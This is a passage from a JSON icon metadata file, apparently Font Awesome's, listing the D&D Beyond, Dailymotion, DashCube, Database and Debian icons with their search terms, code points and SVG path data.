54.9-9.7 90.7-48.6 116-98.8 1-1.8.6-2.9-.9-4.2zm172-46.4c-9.5-3.1-22.2-4.2-28.7-2.9 9.9 4 14.1 6.6 18.8 12 12.6 14.4 10.4 34.7-5.4 45.6-11.7 8.1-24.9 10.5-38.9 9.1-1.2-.1-2.3-.4-3-.6 2.8-3.7 6-7 8.1-10.8 9.4-16.8 5.4-42.1-8.7-56.1-2.1-2.1-4.6-3.9-7-5.9-.3 1.3-.1 2.1.1 2.8 4.2 16.6-8.1 32.4-24.8 31.8-7.6-.3-13.9-3.8-19.6-8.5-19.5-16.1-39.1-32.1-58.5-48.3-5.9-4.9-12.5-8.1-20.1-8.7-4.6-.4-9.3-.6-13.9-.9-5.9-.4-8.8-2.8-10.4-8.4-.9-3.4-1.5-6.8-2.2-10.2-1.5-8.1-6.2-13-14.3-14.2-4.4-.7-8.9-1-13.3-1.5-13-1.4-19.8-7.4-22.6-20.3-5 11-1.6 22.4 7.3 29.9 4.5 3.8 9.3 7.3 13.8 11.2 4.6 3.8 7.4 8.7 7.9 14.8.4 4.7.8 9.5 1.8 14.1 2.2 10.6 8.9 18.4 17 25.1 16.5 13.7 33 27.3 49.5 41.1 17.9 15 13.9 32.8 13 56-.9 22.9 12.2 42.9 33.5 51.2 1 .4 2 .6 3.6 1.1-15.7-18.2-10.1-44.1.7-52.3.3 2.2.4 4.3.9 6.4 9.4 44.1 45.4 64.2 85 56.9 16-2.9 30.6-8.9 42.9-19.8 2-1.8 3.7-4.1 5.9-6.5-19.3 4.6-35.8.1-50.9-10.6.7-.3 1.3-.3 1.9-.3 21.3 1.8 40.6-3.4 57-17.4 19.5-16.6 26.6-42.9 17.4-66-8.3-20.1-23.6-32.3-43.8-38.9zM99.4 179.3c-5.3-9.2-13.2-15.6-22.1-21.3 13.7-.5 26.6.2 39.6 3.7-7-12.2-8.5-24.7-5-38.7 5.3 11.9 13.7 20.1 23.6 26.8 19.7 13.2 35.7 19.6 46.7 30.2 3.4 3.3 6.3 7.1 9.6 10.9-.8-2.1-1.4-4.1-2.2-6-5-10.6-13-18.6-22.6-25-1.8-1.2-2.8-2.5-3.4-4.5-3.3-12.5-3-25.1-.7-37.6 1-5.5 2.8-10.9 4.5-16.3.8-2.4 2.3-4.6 4-6.6.6 6.9 0 25.5 19.6 46 10.8 11.3 22.4 21.9 33.9 32.7 9 8.5 18.3 16.7 25.5 26.8 1.1 1.6 2.2 3.3 3.8 4.7-5-13-14.2-24.1-24.2-33.8-9.6-9.3-19.4-18.4-29.2-27.4-3.3-3-4.6-6.7-5.1-10.9-1.2-10.4 0-20.6 4.3-30.2.5-1 1.1-2 1.9-3.3.5 4.2.6 7.9 1.4 11.6 4.8 23.1 20.4 36.3 49.3 63.5 10 9.4 19.3 19.2 25.6 31.6 4.8 9.3 7.3 19 5.7 29.6-.1.6.5 1.7 1.1 2 6.2 2.6 10 6.9 9.7 14.3 7.7-2.6 12.5-8 16.4-14.5 4.2 20.2-9.1 50.3-27.2 58.7.4-4.5 5-23.4-16.5-27.7-6.8-1.3-12.8-1.3-22.9-2.1 4.7-9 10.4-20.6.5-22.4-24.9-4.6-52.8 1.9-57.8 4.6 8.2.4 16.3 1 23.5 3.3-2 6.5-4 12.7-5.8 18.9-1.9 6.5 2.1 14.6 9.3 9.6 1.2-.9 2.3-1.9 3.3-2.7-3.1 17.9-2.9 15.9-2.8 18.3.3 10.2 9.5 7.8 15.7 7.3-2.5 11.8-29.5 27.3-45.4 25.8 7-4.7 12.7-10.3 15.9-17.9-6.5.8-12.9 1.6-19.2 2.4l-.3-.9c4.7-3.4 8-7.8 10.2-13.1 8.7-21.1-3.6-38-25-39.9-9.1-.8-17.8.8-25.9 5.5 6.2-15.6 17.2-26.6 32.6-34.5-15.2-4.3-8.9-2.7-24.6-6.3 14.6-9.3 30.2-13.2 46.5-14.6-5.2-3.2-48.1-3.6-70.2 20.9 7.9 1.4 15.5 2.8 23.2 4.2-23.8 7-44 19.7-62.4 35.6 1.1-4.8 2.7-9.5 3.3-14.3.6-4.5.8-9.2.1-13.6-1.5-9.4-8.9-15.1-19.7-16.3-7.9-.9-15.6.1-23.3 1.3-.9.1-1.7.3-2.9 0 15.8-14.8 36-21.7 53.1-33.5 6-4.5 6.8-8.2 3-14.9zm128.4 26.8c3.3 16 12.6 25.5 23.8 24.3-4.6-11.3-12.1-19.5-23.8-24.3z"
      }
    },
    "free": ["brands"]
  },
  "d-and-d-beyond": {
    "changes": ["5.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "d&d",
        "dnd",
        "fantasy",
        "gaming",
        "tabletop"
      ]
    },
    "styles": ["brands"],
    "unicode": "f6ca",
    "label": "D&D Beyond",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M313.8 241.5c13.8 0 21-10.1 24.8-17.9-1-1.1-5-4.2-7.4-6.6-2.4 4.3-8.2 10.7-13.9 10.7-10.2 0-15.4-14.7-3.2-26.6-.5-.2-4.3-1.8-8 2.4 0-3 1-5.1 2.1-6.6-3.5 1.3-9.8 5.6-11.4 7.9.2-5.8 1.6-7.5.6-9l-.2-.2s-8.5 5.6-9.3 14.7c0 0 1.1-1.6 2.1-1.9.6-.3 1.3 0 .6 1.9-.2.6-5.8 15.7 5.1 26-.6-1.6-1.9-7.6 2.4-1.9-.3.1 5.8 7.1 15.7 7.1zm52.4-21.1c0-4-4.9-4.4-5.6-4.5 2 3.9.9 7.5.2 9 2.5-.4 5.4-1.6 5.4-4.5zm10.3 5.2c0-6.4-6.2-11.4-13.5-10.7 8 1.3 5.6 13.8-5 11.4 3.7-2.6 3.2-9.9-1.3-12.5 1.4 4.2-3 8.2-7.4 4.6-2.4-1.9-8-6.6-10.6-8.6-2.4-2.1-5.5-1-6.6-1.8-1.3-1.1-.5-3.8-2.2-5-1.6-.8-3-.3-4.8-1-1.6-.6-2.7-1.9-2.6-3.5-2.5 4.4 3.4 6.3 4.5 8.5 1 1.9-.8 4.8 4 8.5 14.8 11.6 9.1 8 10.4 18.1.6 4.3 4.2 6.7 6.4 7.4-2.1-1.9-2.9-6.4 0-9.3 0 13.9 19.2 13.3 23.1 6.4-2.4 1.1-7-.2-9-1.9 7.7 1 14.2-4.1 14.6-10.6zm-39.4-18.4c2 .8 1.6.7 6.4 4.5 10.2-24.5 21.7-15.7 22-15.5 2.2-1.9 9.8-3.8 13.8-2.7-2.4-2.7-7.5-6.2-13.3-6.2-4.7 0-7.4 2.2-8 1.3-.8-1.4 3.2-3.4 3.2-3.4-5.4.2-9.6 6.7-11.2 5.9-1.1-.5 1.4-3.7 1.4-3.7-5.1 2.9-9.3 9.1-10.2 13 4.6-5.8 13.8-9.8 19.7-9-10.5.5-19.5 9.7-23.8 15.8zm242.5 51.9c-20.7 0-40 1.3-50.3 2.1l7.4 8.2v77.2l-7.4 8.2c10.4.8 30.9 2.1 51.6 2.1 42.1 0 59.1-20.7 59.1-48.9 0-29.3-23.2-48.9-60.4-48.9zm-15.1 75.6v-53.3c30.1-3.3 46.8 3.8 46.8 26.3 0 25.6-21.4 30.2-46.8 27zM301.6 181c-1-3.4-.2-6.9 1.1-9.4 1 3 2.6 6.4 7.5 9-.5-2.4-.2-5.6.5-8-1.4-5.4 2.1-9.9 6.4-9.9 6.9 0 8.5 8.8 4.7 14.4 2.1 3.2 5.5 5.6 7.7 7.8 3.2-3.7 5.5-9.5 5.5-13.8 0-8.2-5.5-15.9-16.7-16.5-20-.9-20.2 16.6-20 18.9.5 5.2 3.4 7.8 3.3 7.5zm-.4 6c-.5 1.8-7 3.7-10.2 6.9 4.8-1 7-.2 7.8 1.8.5 1.4-.2 3.4-.5 5.6 1.6-1.8 7-5.5 11-6.2-1-.3-3.4-.8-4.3-.8 2.9-3.4 9.3-4.5 12.8-3.7-2.2-.2-6.7 1.1-8.5 2.6 1.6.3 3 .6 4.3 1.1-2.1.8-4.8 3.4-5.8 6.1 7-5 13.1 5.2 7 8.2.8.2 2.7 0 3.5-.5-.3 1.1-1.9 3-3 3.4 2.9 0 7-1.9 8.2-4.6 0 0-1.8.6-2.6-.2s.3-4.3.3-4.3c-2.3 2.9-3.4-1.3-1.3-4.2-1-.3-3.5-.6-4.6-.5 3.2-1.1 10.4-1.8 11.2-.3.6 1.1-1 3.4-1 3.4 4-.5 8.3 1.1 6.7 5.1 2.9-1.4 5.5-5.9 4.8-10.4-.3 1-1.6 2.4-2.9 2.7.2-1.4-1-2.2-1.9-2.6 1.7-9.6-14.6-14.2-14.1-23.9-1 1.3-1.8 5-.8 7.1 2.7 3.2 8.7 6.7 10.1 12.2-2.6-6.4-15.1-11.4-14.6-20.2-1.6 1.6-2.6 7.8-1.3 11 2.4 1.4 4.5 3.8 4.8 6.1-2.2-5.1-11.4-6.1-13.9-12.2-.6 2.2-.3 5 1 6.7 0 0-2.2-.8-7-.6 1.7.6 5.1 3.5 4.8 5.2zm25.9 7.4c-2.7 0-3.5-2.1-4.2-4.3 3.3 1.3 4.2 4.3 4.2 4.3zm38.9 3.7l-1-.6c-1.1-1-2.9-1.4-4.7-1.4-2.9 0-5.8 1.3-7.5 3.4-.8.8-1.4 1.8-2.1 2.6v15.7c3.5 2.6 7.1-2.9 3-7.2 1.5.3 4.6 2.7 5.1 3.2 0 0 2.6-.5 5-.5 2.1 0 3.9.3 5.6 1.1V196c-1.1.5-2.2 1-2.7 1.4zM79.9 305.9c17.2-4.6 16.2-18 16.2-19.9 0-20.6-24.1-25-37-25H3l8.3 8.6v29.5H0l11.4 14.6V346L3 354.6c61.7 0 73.8 1.5 86.4-5.9 6.7-4 9.9-9.8 9.9-17.6 0-5.1 2.6-18.8-19.4-25.2zm-41.3-27.5c20 0 29.6-.8 29.6 9.1v3c0 12.1-19 8.8-29.6 8.8zm0 59.2V315c12.2 0 32.7-2.3 32.7 8.8v4.5h.2c0 11.2-12.5 9.3-32.9 9.3zm101.2-19.3l23.1.2v-.2l14.1-21.2h-37.2v-14.9h52.4l-14.1-21v-.2l-73.5.2 7.4 8.2v77.1l-7.4 8.2h81.2l14.1-21.2-60.1.2zm214.7-60.1c-73.9 0-77.5 99.3-.3 99.3 77.9 0 74.1-99.3.3-99.3zm-.3 77.5c-37.4 0-36.9-55.3.2-55.3 36.8.1 38.8 55.3-.2 55.3zm-91.3-8.3l44.1-66.2h-41.7l6.1 7.2-20.5 37.2h-.3l-21-37.2 6.4-7.2h-44.9l44.1 65.8.2 19.4-7.7 8.2h42.6l-7.2-8.2zm-28.4-151.3c1.6 1.3 2.9 2.4 2.9 6.6v38.8c0 4.2-.8 5.3-2.7 6.4-.1.1-7.5 4.5-7.9 4.6h35.1c10 0 17.4-1.5 26-8.6-.6-5 .2-9.5.8-12 0-.2-1.8 1.4-2.7 3.5 0-5.7 1.6-15.4 9.6-20.5-.1 0-3.7-.8-9 1.1 2-3.1 10-7.9 10.4-7.9-8.2-26-38-22.9-32.2-22.9-30.9 0-32.6.3-39.9-4 .1.8.5 8.2 9.6 14.9zm21.5 5.5c4.6 0 23.1-3.3 23.1 17.3 0 20.7-18.4 17.3-23.1 17.3zm228.9 79.6l7 8.3V312h-.3c-5.4-14.4-42.3-41.5-45.2-50.9h-31.6l7.4 8.5v76.9l-7.2 8.3h39l-7.4-8.2v-47.4h.3c3.7 10.6 44.5 42.9 48.5 55.6h21.3v-85.2l7.4-8.3zm-106.7-96.1c-32.2 0-32.8.2-39.9-4 .1.7.5 8.3 9.6 14.9 3.1 2 2.9 4.3 2.9 9.5 1.8-1.1 3.8-2.2 6.1-3-1.1 1.1-2.7 2.7-3.5 4.5 1-1.1 7.5-5.1 14.6-3.5-1.6.3-4 1.1-6.1 2.9.1 0 2.1-1.1 7.5-.3v-4.3c4.7 0 23.1-3.4 23.1 17.3 0 20.5-18.5 17.3-19.7 17.3 5.7 4.4 5.8 12 2.2 16.3h.3c33.4 0 36.7-27.3 36.7-34 0-3.8-1.1-32-33.8-33.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M313.8 241.5c13.8 0 21-10.1 24.8-17.9-1-1.1-5-4.2-7.4-6.6-2.4 4.3-8.2 10.7-13.9 10.7-10.2 0-15.4-14.7-3.2-26.6-.5-.2-4.3-1.8-8 2.4 0-3 1-5.1 2.1-6.6-3.5 1.3-9.8 5.6-11.4 7.9.2-5.8 1.6-7.5.6-9l-.2-.2s-8.5 5.6-9.3 14.7c0 0 1.1-1.6 2.1-1.9.6-.3 1.3 0 .6 1.9-.2.6-5.8 15.7 5.1 26-.6-1.6-1.9-7.6 2.4-1.9-.3.1 5.8 7.1 15.7 7.1zm52.4-21.1c0-4-4.9-4.4-5.6-4.5 2 3.9.9 7.5.2 9 2.5-.4 5.4-1.6 5.4-4.5zm10.3 5.2c0-6.4-6.2-11.4-13.5-10.7 8 1.3 5.6 13.8-5 11.4 3.7-2.6 3.2-9.9-1.3-12.5 1.4 4.2-3 8.2-7.4 4.6-2.4-1.9-8-6.6-10.6-8.6-2.4-2.1-5.5-1-6.6-1.8-1.3-1.1-.5-3.8-2.2-5-1.6-.8-3-.3-4.8-1-1.6-.6-2.7-1.9-2.6-3.5-2.5 4.4 3.4 6.3 4.5 8.5 1 1.9-.8 4.8 4 8.5 14.8 11.6 9.1 8 10.4 18.1.6 4.3 4.2 6.7 6.4 7.4-2.1-1.9-2.9-6.4 0-9.3 0 13.9 19.2 13.3 23.1 6.4-2.4 1.1-7-.2-9-1.9 7.7 1 14.2-4.1 14.6-10.6zm-39.4-18.4c2 .8 1.6.7 6.4 4.5 10.2-24.5 21.7-15.7 22-15.5 2.2-1.9 9.8-3.8 13.8-2.7-2.4-2.7-7.5-6.2-13.3-6.2-4.7 0-7.4 2.2-8 1.3-.8-1.4 3.2-3.4 3.2-3.4-5.4.2-9.6 6.7-11.2 5.9-1.1-.5 1.4-3.7 1.4-3.7-5.1 2.9-9.3 9.1-10.2 13 4.6-5.8 13.8-9.8 19.7-9-10.5.5-19.5 9.7-23.8 15.8zm242.5 51.9c-20.7 0-40 1.3-50.3 2.1l7.4 8.2v77.2l-7.4 8.2c10.4.8 30.9 2.1 51.6 2.1 42.1 0 59.1-20.7 59.1-48.9 0-29.3-23.2-48.9-60.4-48.9zm-15.1 75.6v-53.3c30.1-3.3 46.8 3.8 46.8 26.3 0 25.6-21.4 30.2-46.8 27zM301.6 181c-1-3.4-.2-6.9 1.1-9.4 1 3 2.6 6.4 7.5 9-.5-2.4-.2-5.6.5-8-1.4-5.4 2.1-9.9 6.4-9.9 6.9 0 8.5 8.8 4.7 14.4 2.1 3.2 5.5 5.6 7.7 7.8 3.2-3.7 5.5-9.5 5.5-13.8 0-8.2-5.5-15.9-16.7-16.5-20-.9-20.2 16.6-20 18.9.5 5.2 3.4 7.8 3.3 7.5zm-.4 6c-.5 1.8-7 3.7-10.2 6.9 4.8-1 7-.2 7.8 1.8.5 1.4-.2 3.4-.5 5.6 1.6-1.8 7-5.5 11-6.2-1-.3-3.4-.8-4.3-.8 2.9-3.4 9.3-4.5 12.8-3.7-2.2-.2-6.7 1.1-8.5 2.6 1.6.3 3 .6 4.3 1.1-2.1.8-4.8 3.4-5.8 6.1 7-5 13.1 5.2 7 8.2.8.2 2.7 0 3.5-.5-.3 1.1-1.9 3-3 3.4 2.9 0 7-1.9 8.2-4.6 0 0-1.8.6-2.6-.2s.3-4.3.3-4.3c-2.3 2.9-3.4-1.3-1.3-4.2-1-.3-3.5-.6-4.6-.5 3.2-1.1 10.4-1.8 11.2-.3.6 1.1-1 3.4-1 3.4 4-.5 8.3 1.1 6.7 5.1 2.9-1.4 5.5-5.9 4.8-10.4-.3 1-1.6 2.4-2.9 2.7.2-1.4-1-2.2-1.9-2.6 1.7-9.6-14.6-14.2-14.1-23.9-1 1.3-1.8 5-.8 7.1 2.7 3.2 8.7 6.7 10.1 12.2-2.6-6.4-15.1-11.4-14.6-20.2-1.6 1.6-2.6 7.8-1.3 11 2.4 1.4 4.5 3.8 4.8 6.1-2.2-5.1-11.4-6.1-13.9-12.2-.6 2.2-.3 5 1 6.7 0 0-2.2-.8-7-.6 1.7.6 5.1 3.5 4.8 5.2zm25.9 7.4c-2.7 0-3.5-2.1-4.2-4.3 3.3 1.3 4.2 4.3 4.2 4.3zm38.9 3.7l-1-.6c-1.1-1-2.9-1.4-4.7-1.4-2.9 0-5.8 1.3-7.5 3.4-.8.8-1.4 1.8-2.1 2.6v15.7c3.5 2.6 7.1-2.9 3-7.2 1.5.3 4.6 2.7 5.1 3.2 0 0 2.6-.5 5-.5 2.1 0 3.9.3 5.6 1.1V196c-1.1.5-2.2 1-2.7 1.4zM79.9 305.9c17.2-4.6 16.2-18 16.2-19.9 0-20.6-24.1-25-37-25H3l8.3 8.6v29.5H0l11.4 14.6V346L3 354.6c61.7 0 73.8 1.5 86.4-5.9 6.7-4 9.9-9.8 9.9-17.6 0-5.1 2.6-18.8-19.4-25.2zm-41.3-27.5c20 0 29.6-.8 29.6 9.1v3c0 12.1-19 8.8-29.6 8.8zm0 59.2V315c12.2 0 32.7-2.3 32.7 8.8v4.5h.2c0 11.2-12.5 9.3-32.9 9.3zm101.2-19.3l23.1.2v-.2l14.1-21.2h-37.2v-14.9h52.4l-14.1-21v-.2l-73.5.2 7.4 8.2v77.1l-7.4 8.2h81.2l14.1-21.2-60.1.2zm214.7-60.1c-73.9 0-77.5 99.3-.3 99.3 77.9 0 74.1-99.3.3-99.3zm-.3 77.5c-37.4 0-36.9-55.3.2-55.3 36.8.1 38.8 55.3-.2 55.3zm-91.3-8.3l44.1-66.2h-41.7l6.1 7.2-20.5 37.2h-.3l-21-37.2 6.4-7.2h-44.9l44.1 65.8.2 19.4-7.7 8.2h42.6l-7.2-8.2zm-28.4-151.3c1.6 1.3 2.9 2.4 2.9 6.6v38.8c0 4.2-.8 5.3-2.7 6.4-.1.1-7.5 4.5-7.9 4.6h35.1c10 0 17.4-1.5 26-8.6-.6-5 .2-9.5.8-12 0-.2-1.8 1.4-2.7 3.5 0-5.7 1.6-15.4 9.6-20.5-.1 0-3.7-.8-9 1.1 2-3.1 10-7.9 10.4-7.9-8.2-26-38-22.9-32.2-22.9-30.9 0-32.6.3-39.9-4 .1.8.5 8.2 9.6 14.9zm21.5 5.5c4.6 0 23.1-3.3 23.1 17.3 0 20.7-18.4 17.3-23.1 17.3zm228.9 79.6l7 8.3V312h-.3c-5.4-14.4-42.3-41.5-45.2-50.9h-31.6l7.4 8.5v76.9l-7.2 8.3h39l-7.4-8.2v-47.4h.3c3.7 10.6 44.5 42.9 48.5 55.6h21.3v-85.2l7.4-8.3zm-106.7-96.1c-32.2 0-32.8.2-39.9-4 .1.7.5 8.3 9.6 14.9 3.1 2 2.9 4.3 2.9 9.5 1.8-1.1 3.8-2.2 6.1-3-1.1 1.1-2.7 2.7-3.5 4.5 1-1.1 7.5-5.1 14.6-3.5-1.6.3-4 1.1-6.1 2.9.1 0 2.1-1.1 7.5-.3v-4.3c4.7 0 23.1-3.4 23.1 17.3 0 20.5-18.5 17.3-19.7 17.3 5.7 4.4 5.8 12 2.2 16.3h.3c33.4 0 36.7-27.3 36.7-34 0-3.8-1.1-32-33.8-33.6z"
      }
    },
    "free": ["brands"]
  },
  "dailymotion": {
    "changes": ["5.12.1", "5.14.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e052",
    "label": "dailymotion",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M298.93,267a48.4,48.4,0,0,0-24.36-6.21q-19.83,0-33.44,13.27t-13.61,33.42q0,21.16,13.28,34.6t33.43,13.44q20.5,0,34.11-13.78T322,307.47A47.13,47.13,0,0,0,315.9,284,44.13,44.13,0,0,0,298.93,267ZM0,32V480H448V32ZM374.71,405.26h-53.1V381.37h-.67q-15.79,26.2-55.78,26.2-27.56,0-48.89-13.1a88.29,88.29,0,0,1-32.94-35.77q-11.6-22.68-11.59-50.89,0-27.56,11.76-50.22a89.9,89.9,0,0,1,32.93-35.78q21.18-13.09,47.72-13.1a80.87,80.87,0,0,1,29.74,5.21q13.28,5.21,25,17V153l55.79-12.09Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M298.93,267a48.4,48.4,0,0,0-24.36-6.21q-19.83,0-33.44,13.27t-13.61,33.42q0,21.16,13.28,34.6t33.43,13.44q20.5,0,34.11-13.78T322,307.47A47.13,47.13,0,0,0,315.9,284,44.13,44.13,0,0,0,298.93,267ZM0,32V480H448V32ZM374.71,405.26h-53.1V381.37h-.67q-15.79,26.2-55.78,26.2-27.56,0-48.89-13.1a88.29,88.29,0,0,1-32.94-35.77q-11.6-22.68-11.59-50.89,0-27.56,11.76-50.22a89.9,89.9,0,0,1,32.93-35.78q21.18-13.09,47.72-13.1a80.87,80.87,0,0,1,29.74,5.21q13.28,5.21,25,17V153l55.79-12.09Z"
      }
    },
    "free": ["brands"]
  },
  "dashcube": {
    "changes": ["4.3.0", "5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f210",
    "label": "DashCube",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M326.6 104H110.4c-51.1 0-91.2 43.3-91.2 93.5V427c0 50.5 40.1 85 91.2 85h227.2c51.1 0 91.2-34.5 91.2-85V0L326.6 104zM153.9 416.5c-17.7 0-32.4-15.1-32.4-32.8V240.8c0-17.7 14.7-32.5 32.4-32.5h140.7c17.7 0 32 14.8 32 32.5v123.5l51.1 52.3H153.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M326.6 104H110.4c-51.1 0-91.2 43.3-91.2 93.5V427c0 50.5 40.1 85 91.2 85h227.2c51.1 0 91.2-34.5 91.2-85V0L326.6 104zM153.9 416.5c-17.7 0-32.4-15.1-32.4-32.8V240.8c0-17.7 14.7-32.5 32.4-32.5h140.7c17.7 0 32 14.8 32 32.5v123.5l51.1 52.3H153.9z"
      }
    },
    "free": ["brands"]
  },
  "database": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1c0"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["computer", "development", "directory", "memory", "storage"]
    },
    "styles": ["solid"],
    "unicode": "f1c0",
    "label": "Database",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 80v48c0 44.2-100.3 80-224 80S0 172.2 0 128V80C0 35.8 100.3 0 224 0S448 35.8 448 80zM393.2 214.7c20.8-7.4 39.9-16.9 54.8-28.6V288c0 44.2-100.3 80-224 80S0 332.2 0 288V186.1c14.9 11.8 34 21.2 54.8 28.6C99.7 230.7 159.5 240 224 240s124.3-9.3 169.2-25.3zM0 346.1c14.9 11.8 34 21.2 54.8 28.6C99.7 390.7 159.5 400 224 400s124.3-9.3 169.2-25.3c20.8-7.4 39.9-16.9 54.8-28.6V432c0 44.2-100.3 80-224 80S0 476.2 0 432V346.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 80v48c0 44.2-100.3 80-224 80S0 172.2 0 128V80C0 35.8 100.3 0 224 0S448 35.8 448 80zM393.2 214.7c20.8-7.4 39.9-16.9 54.8-28.6V288c0 44.2-100.3 80-224 80S0 332.2 0 288V186.1c14.9 11.8 34 21.2 54.8 28.6C99.7 230.7 159.5 240 224 240s124.3-9.3 169.2-25.3zM0 346.1c14.9 11.8 34 21.2 54.8 28.6C99.7 390.7 159.5 400 224 400s124.3-9.3 169.2-25.3c20.8-7.4 39.9-16.9 54.8-28.6V432c0 44.2-100.3 80-224 80S0 476.2 0 432V346.1z"
      }
    },
    "free": ["solid"]
  },
  "debian": {
    "changes": ["6.4.1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e60b",
    "label": "Debian",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1682957890,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M248.2 .9c-4 .2-8.1 .4-11.4 1.6l-3.4-.5c5.4-.7 10.9-1.1 16.4-1.5c2.4-.2 4.8-.4 7.2-.6c-2.7 .6-5.7 .8-8.8 .9zm132 244.7c3-7.6 5.5-14 5.2-24.4l-4.3 9c4.4-13.2 4-27.1 3.6-40.4c-.2-6-.3-11.8 0-17.4l-1.8-.5c-1.5-45.2-40.6-93.1-75.3-109.4c-30-13.8-76.1-16.2-97.3-5.8c1.3-1.1 4.2-2 6.8-2.7c3.4-1 6.3-1.8 4.3-3c-19.2 1.9-24.9 5.5-31.1 9.4c-4.6 2.9-9.5 6-20.3 8.7c-3.5 3.4 1.7 2 5.8 .9c4.1-1.1 7.2-1.9-.1 2.4c-3.6 1-6.7 1.3-9.7 1.6c-8.3 .8-15.8 1.6-30.7 17c.8 1.3 3.5-.3 5.4-1.4c2.3-1.4 3.4-2-1.7 4.4c-19.1-2.4-60.3 43.7-69.1 59l4.6 .8c-3.2 8-6.8 14.8-10 20.8c-4.3 8.1-7.9 14.9-8.7 21.3c-.4 5.9-1.2 12.9-2 20.3c-3 27.4-6.8 61.3 3.8 73.6l-1.3 13c.6 1.2 1.1 2.3 1.6 3.5c1.2 2.5 2.3 5 3.9 7.4l-3 .2c7 22.2 10.8 22.5 15.1 22.9c4.4 .4 9.3 .9 18.7 24.2c-2.7-.9-5.5-1.9-9.4-7.2c-.5 4.1 5.8 16.3 13.1 25.8l-3.1 3.6c3.2 5.8 6.1 8.1 8.6 10l0 0c.8 .6 1.5 1.1 2.1 1.7c-11.9-6.5 3.2 13.7 11.9 25.2c2.5 3.4 4.5 6 5.1 7l2.4-4.2c-.3 6.1 4.3 13.9 13.1 24.7l7.3-.3c3 6 14 16.7 20.7 17.2l-4.4 5.8c8.1 2.6 10.3 4.3 12.7 6.2c2.6 2.1 5.4 4.3 16.1 8.1l-4.2-7.4c3.5 3 6.2 5.9 8.8 8.7c5.2 5.6 9.9 10.7 19.8 15.4c11.2 3.9 17.1 4.8 23.6 5.9c5.4 .8 11.2 1.8 20.8 4.5c-2.2-.1-4.4-.1-6.7-.2l0 0h0c-16.3-.4-34-.8-46.4-5.2C107.8 480.5 19.5 367.2 26 250.6c-.6-9.9-.3-20.9 0-30.7c.4-13.5 .7-24.8-1.6-28.3l1-3.1c5.3-17.4 11.7-38.2 23.8-62.8l-.1-.2 0-.1 0 0 0 0c.4 .4 3.4 3.4 8.8-5.8c1.3-2.9 2.5-5.8 3.8-8.8l0 0c2.5-6.1 5.1-12.3 8.4-17.9l2.6-.6c1.7-10.1 17-23.8 29.8-35.2l0 0c6.1-5.5 11.6-10.4 14.7-14.1l.7 4.4c17.1-16 45-27.7 66.1-36.6c4.8-2 9.3-3.9 13.3-5.7c-3.4 3.8 2.2 2.7 10 1c4.8-1 10.4-2.1 15.3-2.4c-1.3 .7-2.6 1.4-3.9 2.1l0 0 0 0c-2.7 1.4-5.4 2.8-8 4.6c8.3-2 11.9-1.4 16-.8c3.5 .6 7.3 1.2 14.6 .2c-5.6 .8-12.3 3-11.2 3.8c7.9 .9 12.8-.1 17.2-1c5.6-1.1 10.4-2.1 19.5 .9l-1-4.8c7.5 2.7 13.1 4.4 18 5.9c10 3 17.6 5.3 34.2 14.1c3.2 .2 5.3-.5 7.4-1.2c3.6-1.1 7-2.2 15.3 1.2c.5 .8 .7 1.5 1 2.1c1 2.6 1.7 4.6 14.6 12.2c1.8-.7-3.1-5.1-7-8.7l-.2-.1c32.3 17.3 67.5 54.1 78.2 93.6c-6-11.1-5.2-5.5-4.3 .5c.6 4 1.2 8.1-.2 7.5c4.5 12.1 8.1 24.5 10.4 37.4l-.8-2.9c-3.3-11.8-9.6-34.5-20-49.6c-.4 4.4-2.9 3.9-5.3 3.5c-3.3-.6-6.3-1.2-1.9 12.6c2.6 3.8 3.1 2.4 3.5 1.1c.5-1.5 .9-2.8 4.7 5.2c.1 4.3 1.1 8.5 2.2 13.3l0 0 0 0 0 0 0 0 0 0 0 0c.7 3 1.5 6.2 2.1 9.8c-1.1-.2-2.3-2.2-3.4-4.2l0 0 0 0c-1.4-2.4-2.8-4.7-3.7-3.2c2.4 11.5 6.5 17.4 8 18.3c-.3 .6-.6 .7-1.1 .7c-.8 0-1.8 .1-1.9 5.3c.7 13.7 3.3 12.5 5.3 11.6c.6-.3 1.2-.6 1.7-.4c-.6 2.5-1.6 5.1-2.7 7.9l0 0c-2.8 7.1-6 15.4-3.4 26.1c-.8-3.1-2.1-6.3-3.3-9.3l0 0 0 0c-.5-1.3-1.1-2.6-1.5-3.8c-.6 4.8-.3 8.2-.1 11.3c.4 5.3 .7 10-3 19.9c4.3-14.2 3.8-26.9-.2-20.8c1 11-3.8 20.5-8.1 29.1c-3.6 7.1-6.8 13.5-5.9 19.3l-5.2-7.1c-7.6 11-7 13.3-6.5 15.6c.5 1.9 1 3.8-3.4 10.8c1.7-2.9 1.3-3.6 1-4.2c-.4-.8-.7-1.5 1.7-5.1c-1.6 .1-5.5 3.9-10.1 